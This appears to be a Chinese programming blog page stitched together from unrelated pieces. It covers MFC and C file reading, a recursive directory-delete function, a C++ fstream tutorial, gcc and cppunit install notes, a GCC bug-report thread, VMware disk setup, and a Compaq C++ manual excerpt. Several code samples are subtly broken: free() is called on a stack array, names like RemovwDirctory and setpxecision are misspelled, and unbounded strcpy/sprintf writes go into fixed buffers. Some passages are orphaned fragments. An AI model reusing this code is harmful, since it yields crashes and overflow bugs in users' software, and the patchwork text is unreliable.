(yello2000i发表于2001-8-16 17:04:39)
[问题提出]
一数据文件一行一条记录,我用file.readstring()一次读一行,并对读取的数据做一些处理;
请问:while(文件还没到结尾)
{
file.readstring();
...
}
??文件还没到结尾如何判断?
如果,到了指定位置不读了,过一会儿再读又如何做?
[解决方法]
while()中不用另加判断条件了,因为CStdioFile::ReadString()本身就是判断标志,若没有了(文件到头)返回NULL,因此:while(file.ReadString(s)){}就可.
[程序实现]
假设你已有了名为ts.txt的文件在你的工程目录下:
{
CStdioFile file;
CString sss;
char ccc[100];
DWORD o=0;
int ol=0;
file.Open("ts.txt",CFile::modeRead);
while(file.ReadString(sss))
{
ol++;
if(ol>1)//读两次就不读了.
break;
}
o=file.GetPosition();//记录上次的结果(读到哪了)
.................
file.Seek(o,0);//接着上回读
while(file.ReadString(sss))
{
strcpy(ccc,sss);
AfxMessageBox(ccc);
}
}
这样的命名叫人看了好难受的 又是o
又是0
我 觉得要测试的 字符就是"\n, \r, \r\n, or EOF. "
就可以了
( wshust 发表于 2004-3-4 21:28:00)
上面lichihang,我试了一下,事实并不是如你所说的那样读到空行就停了,而是一直读下去呀!! ( pamir 发表于 2004-2-9 8:31:00)
我不同意这个回答!
因为CStdioFile::ReadString()返回NULL的条件是遇到文件尾或者一个空行,所以如果说txt文件的某一条记录后面连续出现了若干条空行,那么CStdioFile::ReadString()函数也会返回NULL,这样文件并没有读取完毕! ( lichihang 发表于 2003-12-29 8:26:00)
删除目录及目录下所有文件与子目录
(Hermess发表于2002-5-24 22:10:27)
VC++只提供了删除一个空目录的函数,而在实际应用中往往希望删除其下有很多子目录与文件的目录。为了实现这一功能,我编写了DeleteDirectory 函数,它可以实现这一功能。
函数原型:BOOL DeleteDirectory(char *DirName);
返回值:成功删除时返回TRUE,否则返回FALSE
参数DirName为要删除的目录名,必须为绝对路径名,如“c:\\temp"。
函数定义如下:
BOOL DeleteDirectory(char *DirName)
{
CFileFind tempFind;
char tempFileFind[200];
sprintf(tempFileFind,"%s\\*.*",DirName);
BOOL IsFinded=(BOOL)tempFind.FindFile(tempFileFind);
while(IsFinded)
{
IsFinded=(BOOL)tempFind.FindNextFile();
if(!tempFind.IsDots())
{
char foundFileName[200];
strcpy(foundFileName,tempFind.GetFileName().GetBuffer(200));
if(tempFind.IsDirectory())
{
char tempDir[200];
sprintf(tempDir,"%s\\%s",DirName,foundFileName);
DeleteDirectory(tempDir);
}
else
{
char tempFileName[200];
sprintf(tempFileName,"%s\\%s",DirName,foundFileName);
DeleteFile(tempFileName);
}
}
}
tempFind.Close();
if(!RemovwDirctory(DirName))
{
MessageBox(0,"删除目录失败!","警告信息",MK_OK);
return FALSE;
}
return TRUE;
}
搜集--- 关于“按行读取”“查找特定字符串”“替换字符串”操作
气死了,刚刚误操作,画了一半的表格全都没了。哼哼,没有好兴致说些有趣的话了,爱看不看,爱听不听。气死了!偏偏还要在网页上写,还要不保存!
不说上午的事情了,
直奔主题气死!
关键词:文本文件 按行读取 查找特定字符串 替换字符串
C/C++ VC/MFC
按行:fgets();getline(); StdioFile::ReadString(buf)CArchive::ReadString(CString &str)
查找:strstr();_tcschr();fseek() buf.Find(str)(buf是CString类型的)
替换:替换字符串
代码:
CStringFile CLASS
我用fopen打开一个txt文件,想查找某一字符串,找到这个字符串后,再读取它对应行的
其他数据,请教大侠指点小弟如何去做,用什么函数。谢谢。
a. fopen过后,逐行读入str, 用 strstr 判断是否含有特定字符串. 例子:
FILE *fd=fopen("你要打开的文件","r+");
char tmpLine[200];
while(fgets(tmpLine,200,fd)!=NULL)
{
if( strstr(tmpLine,"你要找的字符串"))
{
printf("find the string!\n");
break;
}
memset(tmpLine,0,200);
}
free(tmpLine);
//从指定文件中提取指定字符串
CStrOP& CStrOP::GetSpecifyString(LPCTSTR szSpec, CArchive *ar, BOOL bMid, int iMid, int *pRow, int *pCol)
{
do
{
//读取文件内容
if(ar)
{
//判断是否到了文件最末
if(!ar->ReadString(*this))
{
//未找到找到字符串
if(pRow)
{
*pRow = 0;
}
if(pCol)
{
*pCol = 0;
}
(*this).Format("%s", "");
break;
}
}
//获得需要查找的字符串所在行
if(pRow)
{
(*pRow)++;
}
//去掉空白字符
TrimLeft();
TrimRight();
//判断是否已经找到需要的字串
if(Find(szSpec) >= 0)
{
//获得需要查找的字符串所在列
if(pCol)
{
*pCol = Find(szSpec) + 1;
}
//判断是否需要提取字符串
if(bMid)
{
//判断提取字符串的规则,如果iMid为-1,则不论字串在任何位置,都可以
//进行提取;否则,字串必须在指定位置iMid时才可以提取
if(iMid == -1)
{
(*this).Format("%s", Mid(Find(szSpec) + lstrlen(szSpec)));
break;
}
else if(iMid >= 0)
{
if(Find(szSpec) == iMid)
{
(*this).Format("%s", Mid(iMid + lstrlen(szSpec)));
break;
}
}
}
}
else
{
if(!ar)
{
//未找到找到字符串
if(pRow)
{
*pRow = 0;
}
if(pCol)
{
*pCol = 0;
}
(*this).Format("%s", "");
break;
}
}
} while(1);
return *this;
}
其中CStrOP是我新建的类,函数声明为
CStrOP& GetSpecifyString(LPCTSTR szSpec, CArchive *ar = NULL, BOOL bMid = TRUE, int iMid = 0, int* pRow = NULL, int* pCol = NULL);
这个函数能实现在指定文本格式的文件中进行特定字符串的查找、提取、定位等工作,其中参数CArchive ar初始化为:
CFile file(cMyTxtFile,CFile::modeRead)
CArchive ar(&file, CArchive::load)
在C++中,有一个stream这个类,所有的I/O都以这个“流”类为基础的,包括我们要认识的文件I/O,stream这个类有两个重要的运算符:
1、插入器(<<)
向流输出数据。比如说系统有一个默认的标准输出流(cout),一般情况下就是指的显示器,所以,cout<<"Write Stdout"<<'n';就表示把字符串"Write Stdout"和换行字符('n')输出到标准输出流。
2、析取器(>>)
从流中输入数据。比如说系统有一个默认的标准输入流(cin),一般情况下就是指的键盘,所以,cin>>x;就表示从标准输入流中读取一个指定类型(即变量x的类型)的数据。
在C++中,对文件的操作是通过stream的子类fstream(file stream)来实现的,所以,要用这种方式操作文件,就必须加入头文件fstream.h。下面就把此类的文件操作过程一一道来。
一、打开文件
在fstream类中,有一个成员函数open(),就是用来打开文件的,其原型是:
void open(const char* filename,int mode,int access);
参数:
filename: 要打开的文件名
mode: 要打开文件的方式
access: 打开文件的属性
打开文件的方式在类ios(是所有流式I/O类的基类)中定义,常用的值如下:
ios::app: 以追加的方式打开文件
ios::ate: 文件打开后定位到文件尾,ios:app就包含有此属性
ios::binary: 以二进制方式打开文件,缺省的方式是文本方式。两种方式的区别见前文
ios::in: 文件以输入方式打开
ios::out: 文件以输出方式打开
ios::nocreate: 不建立文件,所以文件不存在时打开失败
ios::noreplace:不覆盖文件,所以打开文件时如果文件存在失败
ios::trunc: 如果文件存在,把文件长度设为0
可以用“或”把以上属性连接起来,如ios::out|ios::binary
打开文件的属性取值是:
0:普通文件,打开访问
1:只读文件
2:隐含文件
4:系统文件
可以用“或”或者“+”把以上属性连接起来 ,如3或1|2就是以只读和隐含属性打开文件。
例如:以二进制输入方式打开文件c:config.sys
fstream file1;
file1.open("c:config.sys",ios::binary|ios::in,0);
如果open函数只有文件名一个参数,则是以读/写普通文件打开,即:
file1.open("c:config.sys");<=>file1.open("c:config.sys",ios::in|ios::out,0);
另外,fstream还有和open()一样的构造函数,对于上例,在定义的时侯就可以打开文件了:
fstream file1("c:config.sys");
特别提出的是,fstream有两个子类:ifstream(input file stream)和ofstream(outpu file stream),ifstream默认以输入方式打开文件,而ofstream默认以输出方式打开文件。
ifstream file2("c:pdos.def");//以输入方式打开文件
ofstream file3("c:x.123");//以输出方式打开文件
所以,在实际应用中,根据需要的不同,选择不同的类来定义:如果想以输入方式打开,就用ifstream来定义;如果想以输出方式打开,就用ofstream来定义;如果想以输入/输出方式来打开,就用fstream来定义。
二、关闭文件
打开的文件使用完成后一定要关闭,fstream提供了成员函数close()来完成此操作,如:file1.close();就把file1相连的文件关闭。
三、读写文件
读写文件分为文本文件和二进制文件的读取,对于文本文件的读取比较简单,用插入器和析取器就可以了;而对于二进制的读取就要复杂些,下要就详细的介绍这两种方式
1、文本文件的读写
文本文件的读写很简单:用插入器(<<)向文件输出;用析取器(>>)从文件输入。假设file1是以输入方式打开,file2以输出打开。示例如下:
file2<<"I Love You";//向文件写入字符串"I Love You"
int i;
file1>>i;//从文件输入一个整数值。
这种方式还有一种简单的格式化能力,比如可以指定输出为16进制等等,具体的格式有以下一些
操纵符 功能 输入/输出
dec 格式化为十进制数值数据 输入和输出
endl 输出一个换行符并刷新此流 输出
ends 输出一个空字符 输出
hex 格式化为十六进制数值数据 输入和输出
oct 格式化为八进制数值数据 输入和输出
setpxecision(int p) 设置浮点数的精度位数 输出
比如要把123当作十六进制输出:file1<<hex<<123;要把3.1415926以5位精度输出:file1<<setpxecision(5)<<3.1415926。
2、二进制文件的读写
①put()
put()函数向流写入一个字符,其原型是ofstream &put(char ch),使用也比较简单,如file1.put('c');就是向流写一个字符'c'。
②get()
get()函数比较灵活,有3种常用的重载形式:
一种就是和put()对应的形式:ifstream &get(char &ch);功能是从流中读取一个字符,结果保存在引用ch中,如果到文件尾,返回空字符。如file2.get(x);表示从文件中读取一个字符,并把读取的字符保存在x中。
另一种重载形式的原型是: int get();这种形式是从流中返回一个字符,如果到达文件尾,返回EOF,如x=file2.get();和上例功能是一样的。
还有一种形式的原型是:ifstream &get(char *buf,int num,char delim='n');这种形式把字符读入由 buf 指向的数组,直到读入了 num 个字符或遇到了由 delim 指定的字符,如果没使用 delim 这个参数,将使用缺省值换行符'n'。例如:
file2.get(str1,127,'A');//从文件中读取字符到字符串str1,当遇到字符'A'或读取了127个字符时终止。
③读写数据块
要读写二进制数据块,使用成员函数read()和write()成员函数,它们原型如下:
read(unsigned char *buf,int num);
write(const unsigned char *buf,int num);
read()从文件中读取 num 个字符到 buf 指向的缓存中,如果在还未读入 num 个字符时就到了文件尾,可以用成员函数 int gcount();来取得实际读取的字符数;而 write() 从buf 指向的缓存写 num 个字符到文件中,值得注意的是缓存的类型是 unsigned char *,有时可能需要类型转换。
例:
unsigned char str1[]="I Love You";
int n[5];
ifstream in("xxx.xxx");
ofstream out("yyy.yyy");
out.write(str1,strlen(str1));//把字符串str1全部写到yyy.yyy中
in.read((unsigned char*)n,sizeof(n));//从xxx.xxx中读取指定个整数,注意类型转换
in.close();out.close();
四、检测EOF
成员函数eof()用来检测是否到达文件尾,如果到达文件尾返回非0值,否则返回0。原型是int eof();
例: if(in.eof())ShowMessage("已经到达文件尾!");
五、文件定位
和C的文件操作方式不同的是,C++ I/O系统管理两个与一个文件相联系的指针。一个是读指针,它说明输入操作在文件中的位置;另一个是写指针,它下次写操作的位置。每次执行输入或输出时,相应的指针自动变化。所以,C++的文件定位分为读位置和写位置的定位,对应的成员函数是 seekg()和 seekp(),seekg()是设置读位置,seekp是设置写位置。它们最通用的形式如下:
istream &seekg(streamoff offset,seek_dir origin);
ostream &seekp(streamoff offset,seek_dir origin);
streamoff定义于 iostream.h 中,定义有偏移量 offset 所能取得的最大值,seek_dir 表示移动的基准位置,是一个有以下值的枚举:
ios::beg: 文件开头
ios::cur: 文件当前位置
ios::end: 文件结尾
这两个函数一般用于二进制文件,因为文本文件会因为系统对字符的解释而可能与预想的值不同。
例:
file1.seekg(1234,ios::cur);//把文件的读指针从当前位置向后移1234个字节
file2.seekp(1234,ios::beg);//把文件的写指针从文件开头向后移1234个字节
re: Dark eden 聂文龙 2007-06-08 17:48
SELECT ServerID, Nickname , IP , TCPPort , UDPPort, WorldID, GroupID, Stat FROM GameServerInfo
INSERT INTO GameServerInfo(ServerID, Nickname , IP , TCPPort , UDPPort, WorldID, GroupID, Stat) VALUES (1,'天之炼狱','127.0.0.1',9998,9997,1,1,0)
SELECT WorldID, GroupID, GroupName, Stat FROM GameServerGroupInfo
INSERT INTO GameServerGroupInfo(WorldID, GroupID, GroupName, Stat) VALUES (1,1,'天之炼狱',0)
re: 安装 GCC-2.95.3 聂文龙 2007-06-04 14:45
使用gcc3.2.2编译时出错,所以安装了gcc2.95.3,但重新编译时还是自动使用gcc3.2.2,
用ln -s把/usr/bin/gcc指向/usr/local/gcc-2.95.3/bin/gcc也还是不行?该咋办呢?
请指教,多谢了!
如何使用gcc2.95.3,而不是redhat9提供的gcc3.2.2呢
redhat的gcc是rpm包安装的,先卸载掉原来的,再装新的!
rpm -qa gcc #找出gcc版本
rpm -e gcc-3.2.2-5 --force #强制卸载
试试看吧!
ln是可以完成的
你直接用#/usr/local/gcc-2.95.3/bin/gcc -o a a.c
这样的方式检测一下gcc-2.95.3是否完好
还有你安装的时候最好指定目录然后在连接过去,不然有可能出现默认覆盖的情况
re: cppunit 聂文龙 2007-05-22 20:30
cppunit文档真少。一个hellpworld程序折腾了好几个小时才折腾够。tnnd作者给的帮助就那么几句话。
偶就结合折腾过程,写一个更详细点的helloworld。
系统:fc4,gcc4
(1)下载
到cppunit.sourceforge.net上下载源代码。我的是cppunit-1.10.2.tar.gz。copy到/usr/src下。运行:
tar -xf cppunit-1.10.2.tar.gz
解压缩。
(2)安装
进入cppunit-1.10.2目录下。运行:
./configure; make; make check; make install
安装。make check有些项通不过。没关系。:P
.o, .a文件已经安装到/usr/local/lib中去了,但头文件没安装到/usr/include中去
(3)copy *.h文件
把cppunit-1.10.2的cppunit目录复制到/usr/include下
(4)撰写mytest.cpp(从cppunit.sourceforge.net上copy下来的)
1 #include <iostream>
2
3 #include <cppunit/TestRunner.h>
4 #include <cppunit/TestResult.h>
5 #include <cppunit/TestResultCollector.h>
6 #include <cppunit/extensions/HelperMacros.h>
7 #include <cppunit/BriefTestProgressListener.h>
8 #include <cppunit/extensions/TestFactoryRegistry.h>
9
10
11 class Test : public CPPUNIT_NS::TestCase
12 {
13 CPPUNIT_TEST_SUITE(Test);
14 CPPUNIT_TEST(testHelloWorld);
15 CPPUNIT_TEST_SUITE_END();
16
17 public:
18 void setUp(void) {}
19 void tearDown(void) {}
20
21 protected:
22 void testHelloWorld(void) { std::cout << "Hello, world!" << std::endl; }
23 };
24
25 CPPUNIT_TEST_SUITE_REGISTRATION(Test);
26
27 int main( int argc, char **argv )
28 {
29 // Create the event manager and test controller
30 CPPUNIT_NS::TestResult controller;
31
32 // Add a listener that colllects test result
33 CPPUNIT_NS::TestResultCollector result;
34 controller.addListener( &result );
35
36 // Add a listener that print dots as test run.
37 CPPUNIT_NS::BriefTestProgressListener progress;
38 controller.addListener( &progress );
39
40 // Add the top suite to the test runner
41 CPPUNIT_NS::TestRunner runner;
42 runner.addTest( CPPUNIT_NS::TestFactoryRegistry::getRegistry().makeTest() );
43 runner.run( controller );
44
45 return result.wasSuccessful() ? 0 : 1;
46 }
47
48 (5)编译,运行
有两种方法
(a) 链接静态库。编译命令:
g++ -L/usr/local/lib/libcppunit.a mytest.cpp -lcppunit -ldl -o mytest
运行:
./mytest
结果:
Test::testHelloWorldHello, world!
: OK
(b) 链接动态库。编译命令:
g++ mytest.cpp -lcppunit -ldl -o mytest
运行时要先设置环境变量LD_LIBRARY_PATH到cppunit的安装目录,也就是/usr/local/lib,命令如下:
export LD_LIBRARY_PATH=/usr/local/lib:$LD_LIBRARY_PATH
然后运行:
./mytest
结果:
Test::testHelloWorldHello, world!
: OK
re: cppunit 聂文龙 2007-05-22 20:03
./confgure CC=gcc295 CXX=g++ 295
Trying to compile squid-2.5-stable4... ./configure goes through with no errors.
When I try and compile it (make all) I get the following error...
gcc -DHAVE_CONFIG_H -DDEFAULT_CONFIG_FILE=\"/usr/local/squid/etc/squid.conf\" -
I. -I. -I../include -I. -I. -I../include -I../include -g -O2 -Wall -c `test
-
f authenticate.c || echo './'`authenticate.c
source='cache_cf.c' object='cache_cf.o' libtool=no \
depfile='.deps/cache_cf.Po' tmpdepfile='.deps/cache_cf.TPo' \
depmode=gcc3 /bin/sh ../cfgaux/depcomp \
gcc -DHAVE_CONFIG_H -DDEFAULT_CONFIG_FILE=\"/usr/local/squid/etc/squid.conf\" -
I. -I. -I../include -I. -I. -I../include -I../include -g -O2 -Wall -c `test
-
f cache_cf.c || echo './'`cache_cf.c
gcc: Internal error: Terminated (program cc1)
Please submit a full bug report.
See <URL:
http://www.gnu.org/software/gcc/bugs.html>">
http://www.gnu.org/software/gcc/bugs.html> for instructions.
make[3]: *** [cache_cf.o] Error 1
make[3]: Leaving directory `/usr/local/src/squid-2.5.STABLE4-20031113/src'
make[2]: *** [all-recursive] Error 1
make[2]: Leaving directory `/usr/local/src/squid-2.5.STABLE4-20031113/src'
make[1]: *** [all] Error 2
make[1]: Leaving directory `/usr/local/src/squid-2.5.STABLE4-20031113/src'
make: *** [all-recursive] Error 1
Need help. Thank you.
------- Comment #1 From Pantelis H. 2003-11-18 17:08 [reply] -------
Could this be a memory issue?
The machine consists of a P2-200 with 32mb of memory. Usage is as follows...
root@leo:/usr/local/src/squid-2.5.STABLE4-20031113# free
total used free shared buffers cached
Mem: 29452 13548 15904 0 4372 2940
-/+ buffers/cache: 6236 23216
Swap: 0 0 0
Thank you.
------- Comment #2 From Andrew Pinski 2003-11-18 17:16 [reply] -------
Yes this is a memory issue but we would like to reduce GCC's memory usage, can
you attach the
preprocessor source to here.
For a work around now, try with a lower optimization level.
------- Comment #3 From Pantelis H. 2003-11-18 18:24 [reply] -------
How do I attach the preprocessor source? How do I issue this?
Also, how do I use a lower optimization level?
Thanks.
------- Comment #4 From Andrew Pinski 2003-11-18 18:28 [reply] -------
Read
http://gcc.gnu.org/bugs.html for how to get the preprocessed file and then
use the link at
the bottom of this message to get a web page and the click "Create a New
Attachment" link.
To use a lower optimization use `CFLAGS="-O1 -g'.
------- Comment #5 From Pantelis H. 2003-11-18 18:54 [reply] -------
Seems setting the Optimization level to -O1 or even -O does not help...
gcc -DHAVE_CONFIG_H -DDEFAULT_CONFIG_FILE=\"/usr/local/squid/etc/squid.conf\" -
I. -I. -I../include -I. -I. -I../include -I../include -g -O -Wall -c `test -
f cache_cf.c || echo './'`cache_cf.c
gcc: Internal error: Terminated (program cc1)
Please submit a full bug report.
See <URL:
http://www.gnu.org/software/gcc/bugs.html>">
http://www.gnu.org/software/gcc/bugs.html> for instructions.
make[3]: *** [cache_cf.o] Error 1
make[3]: Leaving directory `/usr/local/src/squid-2.5.STABLE4-20031113/src'
make[2]: *** [all-recursive] Error 1
make[2]: Leaving directory `/usr/local/src/squid-2.5.STABLE4-20031113/src'
make[1]: *** [all] Error 2
make[1]: Leaving directory `/usr/local/src/squid-2.5.STABLE4-20031113/src'
make: *** [all-recursive] Error 1
Any ideas? (obvious one would be to add more mem to the machien lol)
Thanks.
------- Comment #6 From Andrew Pinski 2003-11-18 18:56 [reply] -------
Try with -O0.
------- Comment #7 From Pantelis H. 2003-11-18 19:00 [reply] -------
Forgot about that one, it worked! thanks :)
I'll send the preprocessor source in a min.
------- Comment #8 From Pantelis H. 2003-11-18 19:10 [reply] -------
Hmm, here's another error...
gcc -g -O0 -Wall -g -o squid access_log.o acl.o asn.o authenticate.o
cache_cf.o CacheDigest.o cache_manager.o carp.o cbdata.o client_db.o
client_side.o comm.o comm_select.o debug.o disk.o dns_internal.o errorpage.o
ETag.o event.o external_acl.o fd.o filemap.o forward.o fqdncache.o ftp.o
gopher.o helper.o http.o HttpStatusLine.o HttpHdrCc.o HttpHdrRange.o
HttpHdrContRange.o HttpHeader.o HttpHeaderTools.o HttpBody.o HttpMsg.o
HttpReply.o HttpRequest.o icmp.o icp_v2.o icp_v3.o ident.o internal.o ipc.o
ipcache.o logfile.o main.o mem.o MemPool.o MemBuf.o mime.o multicast.o
neighbors.o net_db.o Packer.o pconn.o peer_digest.o peer_select.o redirect.o
referer.o refresh.o send-announce.o ssl.o ssl_support.o stat.o StatHist.o
String.o stmem.o store.o store_io.o store_client.o store_digest.o store_dir.o
store_key_md5.o store_log.o store_rebuild.o store_swapin.o store_swapmeta.o
store_swapout.o tools.o unlinkd.o url.o urn.o useragent.o wais.o wccp.o
whois.o repl_modules.o auth_modules.o store_modules.o globals.o
string_arrays.o -L../lib repl/liblru.a fs/libufs.a auth/libbasic.a -lcrypt -
lssl -lcrypto -lmiscutil -lm -lresolv -lnsl
collect2: ld terminated with signal 15 [Terminated], core dumped
make[3]: *** [squid] Error 1
make[3]: Leaving directory `/usr/local/src/squid-2.5.STABLE4-20031113/src'
make[2]: *** [all-recursive] Error 1
make[2]: Leaving directory `/usr/local/src/squid-2.5.STABLE4-20031113/src'
make[1]: *** [all] Error 2
make[1]: Leaving directory `/usr/local/src/squid-2.5.STABLE4-20031113/src'
make: *** [all-recursive] Error 1
??
------- Comment #9 From Andrew Pinski 2003-11-18 19:15 [reply] -------
That one is not our memory bug:
collect2: ld terminated with signal 15 [Terminated], core dumped
It is ld dying. Sorry you just need more memory, 32M is not enough nowadays for anything.
------- Comment #10 From Andrew Pinski 2003-11-25 00:47 [reply] -------
A machine with 32M is not enough for any kind of compiling these days so
closing as
invalid.
ps : Sorry you just need more memory??? fuck 不是吧...
在很多时候,用vmware装linux系统的时候没有分配足够的空间,后来用的时候才发现空间不够,但重新安装系统又太麻烦,所以只有想办法来再增加空间了。但如何增加空间,增加的空间又如何能像本来的系统空间一样的使用呢,这的确是个问题。下面就通过自己的体验来说明一下:
1、退出LINUX系统,在vmware启动界面中选择edit virtual machine settings来增加磁盘,然后选择add,选择增加hard disk点击下一步,选中create a new virtual disk,点击下一步,选择scsi,继续下一步。选择好你要新增磁盘的大小,勾选Allocate all disk space now立即分配空间,下一步,在你的硬盘上选择一个目录来创建,点击完成结束。这样,一个新增的空间就创建好了。
2、进入LINUX系统。su:password进入root权限。用命令fdisk -l查看新增的磁盘,我的是/dev/sdb。然后用命令fdisk /dev/sdb来对你刚才新增的空间划分磁盘分区。具体的fdisk的用法我就不说了。你可以分成一个分区,保存退出。在/dev/目录下面多出了一个设备/dev/sdb1,这就是刚才分出来的一个区,用命令mkfs.ext3 /dev/sdb1对其进行格式化。这样之后用MOUNT命令就可以把这个分区MOUNT到系统了,但这并没有完,用ROOT权限MOUNT的分区,其它的用户不能操作,而且这个分区上也不能够运行程序。所以下面继续。
3、用普通权限在你的用户目录下面创建一个文件夹,如/home/kinghua/mymnt。以后就把你新增的分区MOUNT到这个目录下了哟。
4、用ROOT权限打下/etc/fstab文件。新增加一个选项。具体fstab的操作在这里不解释了。新增如下:
/dev/sdb1 /home/kinghua/mymnt ext3 noauto,user,exec 0 0
中间是用TAB键格开的哟。保存好。这样就设置好了新分区的MOUNT格式。
5、现在呢,我们来设置如何自动在系统启动的时候MOUNT,UMOUNT这个分区。进入你的用户目录,vi .bash_profile,在其中增加一行mount /home/kinghua/mymnt。同样,vi .bash_logout,在其中增加一行umount /home/kinghua/mymnt。保存。
6、好了 都设置好了 重新启动系统吧。用df -h查看磁盘情况,哈哈,自动mount上了。而且普通用户拥有所有权限,还可以在里面执行文件,跟系统本来的分区一样好使了。OK大功告成。
Use it exactly how you used read().
Eg.
struct_enc_xor((char*)&cRec,"password",sizeof(DtbRec));
Exit
Encryption is a very interesting topic. A lot of research has gone into it. If you are interested there are lot of pages on the web which describe encryption and various schemes. Then there is stenography,
the art of hiding info in any file like text within a bitmap or an mp3. Have fun researching.
Compaq C++
Using Compaq C++ for Tru64 UNIX and Linux Alpha
Chapter 7
The C++ Standard Library
The C++ Standard Library provided with this release defines a complete specification of the International C++ Standard, with some differences, as described in the Compaq C++ Release Notes for Tru64 UNIX .
The Standard Library in this release includes the ANSI locale and iostream libraries.
Portions of the ANSI C++ Standard Library have been implemented in Compaq C++ using source licensed from and copyrighted by Rogue Wave Software, Inc. Information pertaining to the C++ Standard Library has been edited and incorporated into Compaq C++ documentation with permission of Rogue Wave Software, Inc. All rights reserved.
On Tru64 UNIX, some of the components in the C++ Standard Library are designed to replace nonstandard components that are currently distributed in the Class Library. The Class Library will continue to be provided in its nonstandard form. However, you now have the option of using new standard components.
In this release, the shared libraries for the Complex and Task packages have been removed from the compiler kit. The redistribution kits that ship on the Tru64 Associated Products disribution have been removed from releases after Tru64 5.0A. Although applications can continue to use these libraries, they are linked statically. These libraries may be completely removed in a future release.
Compaq recommends that code using complex be migrated as documented in Section 7.5.4. Code using task should migrate to using Posix Threads (see man pthread ).
This chapter provides information about the implementation of the Standard Library, including upward compatibility, compiling, linking, and thread safety. Small example programs showing how to use the C++ standard library are located in the directory /usr/examples/cxx .
The following are Standard Library options:
-[no]using_std
Controls whether Standard Library header files are processed as though the compiled code were written as follows:
using namespace std;
#include <header>
These options are provided for compatibility for users who do not want to qualify use of each Standard Library name with std:: or put using namespace std; at the top of their sources.
-using_std turns implicit using namespace std on; this is the default when compiling -std arm , -std cfront , -std ms , or -std ansi .
-nousing_std turns implicit using namespace std off; this is the default when compiling -std strict_ansi or -std strict_ansi_errors .
-[no]stdnew
Controls whether calls are generated to the ANSI or pre-ANSI implementation of the operator new() . On memory allocation failure, the ANSI implementation throws std::bad_alloc , while the pre-ANSI implementation returns 0.
-stdnew generates calls to the ANSI new() implementation; this is the default when compiling -std ansi , -std strict_ansi and -std strict_ansi_errors .
-nostdnew generates calls to the pre-ANSI new() implementation; this is the default when compiling -std arm , -std cfront and -std ms .
-[no]global_array_new
Controls whether calls to global array new and delete are generated as specified by ANSI. Pre-ANSI global array new generated calls to operator new() . According to ANSI, use of global array new generate calls to operator new()[] .
-global_array_new generates calls to operator new()[] for global array new expressions such as new int[4] ; this is the default when compiling -std ansi , -std strict_ansi , -std strict_ansi_errors , and -std ms .
-noglobal_array_new generates calls to operator new() for global array new expressions such as new int[4] and preserves compatibility with Version 5.n; this is the default when compiling -std arm and -std cfront .
7.1 Important Compatibility Information
The following sections describe specific compatibility issues.
7.1.1 -[no]using_std Compiler Compatibility Switch
All Standard Library names in Compaq C++ are inside the namespace std . Typically you would qualify each Standard Library name with std:: or put using namespace std; at the top of your source file.
To make things easier for existing users, using namespace std; is included in a file provided with every Standard Library header when you are in arm , cfront , gnu , ms , or ansi compiler modes. This is not the default in strict_ansi or strict_ansi_errors mode.
The compiler supplied switches -nousing_std and -using_std can be used to override the default. -nousing_std turns the implicit using namespace std off; -using_std turns it on.
7.1.2 Pre-ANSI/ANSI Iostreams Compatibility
The C++ Standard Library offers support for the standard iostreams library based on the International C++ Standard. These standard iostream classes are in the new header files <iostream>, <ostream>, <istream> , and so on (no .h or .hxx extension).
For backward compatibility, the pre-ANSI iostream library is still provided in the old header files iostream.hxx , istream.hxx , and so on. The two libraries exhibit subtle differences and incompatibilities.
Users can choose which version (ANSI or pre-ANSI) of iostreams they want to use; either version of iostreams can be integrated seamlessly with the new Standard Library and string functionality.
To accomplish this goal, macros called __USE_STD_IOSTREAM and
__NO_USE_STD_IOSTREAM are provided. If you do not set these macros explicitly, the default in arm , cfront , gnu , ms , and ansi modes is to use the pre-ANSI iostream library. In strict_ansi and strict_ansi_errors mode, the default is to use the ANSI iostreams library.
You override the default by defining __USE_STD_IOSTREAM or
__NO_USE_STD_IOSTREAM on either the command line or in your source code.
In arm , cfront , ms , and ansi modes, specify use of the ANSI iostreams in one of the following ways:
Enter -D__USE_STD_IOSTREAM on the command line.
Put #define __USE_STD_IOSTREAM in your source file before any include files.
In strict_ansi and strict_ansi_errors modes specify use of the pre-ANSI iostreams in one of the following ways:
Enter -D__NO_USE_STD_IOSTREAM on the command line.
Put #define __NO_USE_STD_IOSTREAM in your source file before any include files.
A #error warning appears:
If you have explicitly included the wrong header for the current mode. For example, if you say #include <iostream> (an ANSI header) and you are in -std ansi , -std cfront , gnu , -std ms or -std arm mode, and if you have not entered -D__USE_STD_IOSTREAM on the command line, an error message appears.
If you are in -std strict_ansi or -std strict_ansi_errors , and you enter #include <iostream.h> , an error message appears unless you also enter -D__NO_USE_STD_IOSTREAM .
Many of the other headers, <string> for example, make use of the iostream classes. The default version of iostreams that is automatically included when you include one of these headers depends on the mode you compile in and the setting of the macros __USE_STD_IOSTREAM and __NO_USE_STD_IOSTREAM as described earlier.
Because the standard locale class and the standard iostream class are so closely tied, you cannot use the standard locale class with the pre-standard iostream classes. If you want to use locale, you must use the standard iostream classes.
It is possible to use the pre-ANSI and the ANSI iostream library in the same source file, because all the standard iostream names (that is, cout , cin , and so on) are in namespace std , and all the pre-ANSI names are in the global namespace. This is not recommended, though, because there is no guarantee of stream objects being the same size or, for example, of ::cout being in sync with std::cout .
To do this in all modes, include a pre-ANSI iostreams header before an ANSI iostreams header as follows:
#include <stdlib.h>
#undef __USE_STD_IOSTREAM
#include <iostream.h>
#define __USE_STD_IOSTREAM
#include <iostream>
int main()
{
std::string s("abc");
::cout << "abc" << endl; // pre-standard iostreams
std::cout << "abc" << std::endl; // standard iostreams
return EXIT_SUCCESS;
}
To do this in all modes, if you include an ANSI iostreams header before a pre-ANSI iostreams header, follow these steps:
Compile your source using -nousing_std .
Use the __USE_STD_IOSTREAM macro as shown in the following example. You must define __USE_STD_IOSTREAM at the end of your include file list so that the template definition files (the .cc files) are included in the correct mode.
// Compile this with -nousing_std
#include <stdlib.h>
#define __USE_STD_IOSTREAM
#include <iostream>
#undef __USE_STD_IOSTREAM
#include <iostream.h>
#define __USE_STD_IOSTREAM // so the template definition files are ok
int main()
{
std::string s("abc");
::cout << "abc" << endl; // pre-standard iostreams
std::cout << "abc" << std::endl; // standard iostreams
return EXIT_SUCCESS;
}
7.1.3 Support for pre-ANSI and ANSI operator new()
The Standard C++ Library supports the ANSI implementation of the operator new() as well as the pre-ANSI implementation of operator new() . The ANSI implementation throws std::bad_alloc on memory allocation failures.
The pre-ANSI implementation of the operator new() returns 0 on memory allocation failures. Because the ANSI behavior is incompatible with pre-ANSI applications, a compile time switch has been added ( -[no]stdnew ) to control whether calls to ANSI new() or pre-ANSI new are generated.
